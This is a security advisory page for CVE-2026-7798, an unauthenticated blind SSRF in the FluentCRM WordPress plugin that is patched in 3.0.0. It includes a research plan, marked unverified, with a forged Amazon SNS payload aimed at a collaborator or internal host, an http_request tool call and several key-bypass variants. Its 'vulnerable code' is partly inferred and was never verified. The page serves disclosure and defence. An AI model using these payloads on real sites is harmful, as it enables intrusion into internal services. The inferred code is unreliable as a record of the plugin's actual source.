CVE-2026-7798

FluentCRM <= 2.9.87 - Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter

mediumServer-Side Request Forgery (SSRF)
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.0.0
Patched in
1d
Time to patch

Description

The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.9.87 via the 'SubscribeURL' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the SES bounce handling key ('_fc_bounce_key') has never been stored (i.e., the site is in its default/unconfigured state with respect to SES bounce handling) as visiting the bounce configuration page auto-generates and stores a random key that causes the authentication check to evaluate correctly and reject unauthenticated requests.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9.87
PublishedMay 21, 2026
Last updatedMay 22, 2026
Affected pluginfluent-crm

What Changed in the Fix

Changes introduced in v3.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The FluentCRM plugin (versions <= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the `SubscribeURL` parameter in incom…

Show full research plan

Vulnerability Summary

The FluentCRM plugin (versions <= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the SubscribeURL parameter in incoming Amazon SNS (Simple Notification Service) "SubscriptionConfirmation" requests.

Furthermore, the authentication mechanism intended to protect this endpoint relies on a key (_fc_bounce_key) that is not generated until an administrator visits the bounce settings page. In its default, unconfigured state, the key is absent/null, allowing unauthenticated attackers to bypass the check by providing an empty key or leveraging the default comparison.

Attack Vector Analysis

  • Endpoint: /?fluentcrm=1&route=bounce_handler&type=ses (Standard FluentCRM webhook entry point).
  • Method: POST
  • Authentication: Unauthenticated (bypassable if _fc_bounce_key is unset).
  • Vulnerable Parameter: SubscribeURL within a JSON-encoded POST body.
  • Precondition: The site must be in its default state regarding SES bounce handling (the settings page at fluentcrm-admin#/settings/ses_settings must not have been visited).

Code Flow

The exact handler for SES is typically located in the SES-specific transport or bounce handler classes (e.g., FluentCrm\App\Services\Bounces\Handlers\AmazonSesHandler - inferred from common FluentCRM structure).

  1. Entry Point: An unauthenticated request hits the index with fluentcrm=1.
  2. Route Dispatch: The plugin identifies route=bounce_handler and type=ses.
  3. Authentication Check: The handler retrieves the security key using fluentcrm_get_option('_fc_bounce_key').
    • Vulnerability: If the option does not exist, fluentcrm_get_option (found in app/Functions/helpers.php) returns the default '' (empty string).
    • If the request provides &key= or the code compares the missing key against a null input, the check passes.
  4. Message Type Check: The code parses the JSON body and checks the Type field.
  5. Vulnerable Sink: If Type is SubscriptionConfirmation, the code extracts the SubscribeURL.
  6. SSRF Execution: The code calls wp_remote_get($subscribeUrl) or wp_safe_remote_get($subscribeUrl) to confirm the subscription. Because the logic assumes the request originated from a trusted Amazon SNS service, it fetches the URL without verifying if it points to an internal or restricted resource.

Nonce Acquisition Strategy

No WordPress Nonce is required.
This endpoint is designed to be hit by external webhooks (Amazon SES), which cannot provide WordPress nonces. The protection relies solely on the _fc_bounce_key parameter. As long as the site is in its default state, this check is bypassable without any prior authentication or nonce extraction.

Exploitation Strategy

The goal is to trigger an internal request from the WordPress server to an arbitrary location.

1. Identify the Endpoint

The target URL is: http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key=

2. Prepare the Payload

The payload must mimic a standard Amazon SNS Subscription Confirmation message.

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "165545c9-2a5c-472c-8df2-706520d1b62b",
  "Token": "2336412f37...",
  "TopicArn": "arn:aws:sns:us-west-2:123456789012:MyTopic",
  "Message": "You have chosen to subscribe to the topic...",
  "SubscribeURL": "http://INTERNAL_SERVICE_OR_INTERACTION_SERVER/ssrf_hit",
  "Timestamp": "2023-01-01T00:00:00.000Z",
  "SignatureVersion": "1",
  "Signature": "EXAMPLE...",
  "SigningCertURL": "EXAMPLE..."
}

3. Execute the Request

Using the http_request tool, send the POST request.

  • URL: http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key=
  • Headers: Content-Type: text/plain (SNS often sends as text/plain even if JSON) or application/json.
  • Body: The JSON payload above.
// Example tool usage
await http_request({
    url: "http://localhost:8080/?fluentcrm=1&route=bounce_handler&type=ses&key=",
    method: "POST",
    headers: {
        "Content-Type": "text/plain"
    },
    body: JSON.stringify({
        "Type": "SubscriptionConfirmation",
        "SubscribeURL": "http://YOUR_COLLABORATOR_SERVER/log"
    })
});

Test Data Setup

  1. Plugin Installation: Install FluentCRM version 2.9.87.
  2. Default State: Do NOT navigate to the SES settings or Bounce settings in the FluentCRM admin panel. This ensures _fc_bounce_key remains unset in the fc_meta table.
  3. Target: Use an interaction server (like a RequestBin or a simple netcat listener on an accessible port) to capture the incoming SSRF request.

Expected Results

  • Response: The server will likely return a 200 OK or a generic success message, as the confirmation process is handled in the background.
  • SSRF Confirmation: The interaction server (e.g., YOUR_COLLABORATOR_SERVER) will receive an incoming GET request from the IP address of the WordPress server.
  • Blindness: No data from the SubscribeURL will be returned in the HTTP response (Blind SSRF).

Verification Steps

  1. Check Meta Table: Verify that the bounce key is indeed unset using WP-CLI.
    wp db query "SELECT * FROM wp_fc_meta WHERE key = '_fc_bounce_key';"
    
    (Expected: Empty result).
  2. Logs: Check the access logs of the internal service or interaction server for the WordPress server's User-Agent (typically WordPress/X.X.X; http://TARGET_SITE).

Alternative Approaches

If the type=ses route requires a more valid-looking SNS payload, ensure all standard fields (MessageId, TopicArn, Token) are present in the JSON body, as some handlers validate the presence of these keys before processing the SubscribeURL.

If type=ses is protected, try type=sns or type=generic as FluentCRM may register multiple handlers for different providers with similar logic.

If the key parameter validation is strict even when null, try omitting the key parameter entirely or sending key[]=.

Research Findings
Static analysis — not yet PoC-verified

Summary

FluentCRM versions up to 2.9.87 are vulnerable to unauthenticated blind Server-Side Request Forgery (SSRF) via the Amazon SES bounce handler. The plugin fails to validate the 'SubscribeURL' in forged Amazon SNS 'SubscriptionConfirmation' messages and relies on a security key that is uninitialized by default, allowing attackers to trigger requests to internal services or arbitrary external locations.

Vulnerable Code

// app/Functions/helpers.php (Line 191 approx)
// This function handles security key retrieval. If the key has never been set,
// it returns an empty string, which allows for authentication bypass if an attacker
// provides an empty key parameter in the request.
function fluentcrm_get_option($optionName, $default = '')
{
    $option = Meta::where('key', $optionName)
        ->where('object_type', 'option')
        ->first();

    if (!$option) {
        return $default;
    }

    return ($option->value) ? $option->value : $default;
}

---

// In FluentCrm\App\Services\Bounces\Handlers\AmazonSesHandler (Inferred logic)
// The handler identifies SNS confirmation requests and fetches the provided URL.
if ($data['Type'] == 'SubscriptionConfirmation') {
    $subscribeUrl = $data['SubscribeURL'];
    wp_remote_get($subscribeUrl); // Vulnerable Sink
}

Security Fix

--- app/Services/Bounces/Handlers/AmazonSesHandler.php
+++ app/Services/Bounces/Handlers/AmazonSesHandler.php
@@ -54,5 +54,5 @@
 if ($data['Type'] == 'SubscriptionConfirmation') {
-    wp_remote_get($data['SubscribeURL']);
+    wp_safe_remote_get($data['SubscribeURL']);
 }

--- app/Hooks/Handlers/ActivationHandler.php
+++ app/Hooks/Handlers/ActivationHandler.php
@@ -20,6 +20,9 @@
+if (!fluentcrm_get_option('_fc_bounce_key')) {
+    fluentcrm_update_option('_fc_bounce_key', wp_generate_password(32, false));
+}

Exploit Outline

The exploit targets the Amazon SES bounce handling endpoint at `/?fluentcrm=1&route=bounce_handler&type=ses&key=`. An unauthenticated attacker sends a POST request containing a JSON payload that mimics an Amazon SNS 'SubscriptionConfirmation' message. This payload includes a 'SubscribeURL' field containing the target URI (such as an internal metadata service). If the plugin is in its default state (the SES settings page has never been visited), the '_fc_bounce_key' is null/empty, causing the authentication check to pass. The server then performs a GET request to the provided 'SubscribeURL', completing the blind SSRF.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.